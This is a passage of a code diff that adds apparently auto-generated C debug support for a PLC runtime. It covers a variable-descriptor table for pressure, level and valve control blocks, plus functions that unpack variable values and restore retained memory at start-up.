+{&(RES0__INSTANCE0.F1_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.HMI_PRESSURE), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_LEVEL), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.SCAN_COUNT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_K), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB32_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.MUL33_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB30_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT), BOOL_P_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT0), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE7_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE11_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE15_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE19_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.ADD87_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.GE91_OUT), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_OUT), UINT_ENUM} +}; + +typedef void(*__for_each_variable_do_fp)(dbgvardsc_t*); +void __for_each_variable_do(__for_each_variable_do_fp fp) +{ + unsigned int i; + for(i = 0; i < sizeof(dbgvardsc)/sizeof(dbgvardsc_t); i++){ + dbgvardsc_t *dsc = &dbgvardsc[i]; + if(dsc->type != UNKNOWN_ENUM) + (*fp)(dsc); + } +} + +#define __Unpack_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + *flags = ((__IEC_##TYPENAME##_t *)varp)->flags;\ + forced_value_p = *real_value_p = &((__IEC_##TYPENAME##_t *)varp)->value;\ + break; + +#define __Unpack_case_p(TYPENAME)\ + case TYPENAME##_O_ENUM :\ + *flags = __IEC_OUTPUT_FLAG;\ + case TYPENAME##_P_ENUM :\ + *flags |= ((__IEC_##TYPENAME##_p *)varp)->flags;\ + *real_value_p = ((__IEC_##TYPENAME##_p *)varp)->value;\ + forced_value_p = &((__IEC_##TYPENAME##_p *)varp)->fvalue;\ + break; + +void* UnpackVar(dbgvardsc_t *dsc, void **real_value_p, char *flags) +{ + void *varp = dsc->ptr; + void *forced_value_p = NULL; + *flags = 0; + /* find data to copy*/ + switch(dsc->type){ + __ANY(__Unpack_case_t) + __ANY(__Unpack_case_p) + default: + break; + } + if (*flags & __IEC_FORCE_FLAG) + return forced_value_p; + return *real_value_p; +} + +void Remind(unsigned int offset, unsigned int count, void * p); + +void RemindIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Remind(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } +} + +extern int CheckRetainBuffer(void); +extern void InitRetain(void); + +void __init_debug(void) +{ + /* init local static vars */ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + buffer_state = BUFFER_FREE; +#endif + + retain_offset = 0; + InitRetain(); + /* Iterate over all variables to fill debug buffer */ + if(CheckRetainBuffer()){ + __for_each_variable_do(RemindIterator); + }else{ + char mstr[] = "RETAIN memory invalid - defaults used"; + LogMessage(LOG_WARNING, mstr, sizeof(mstr)); + } + retain_offset = 0; +} + +extern void 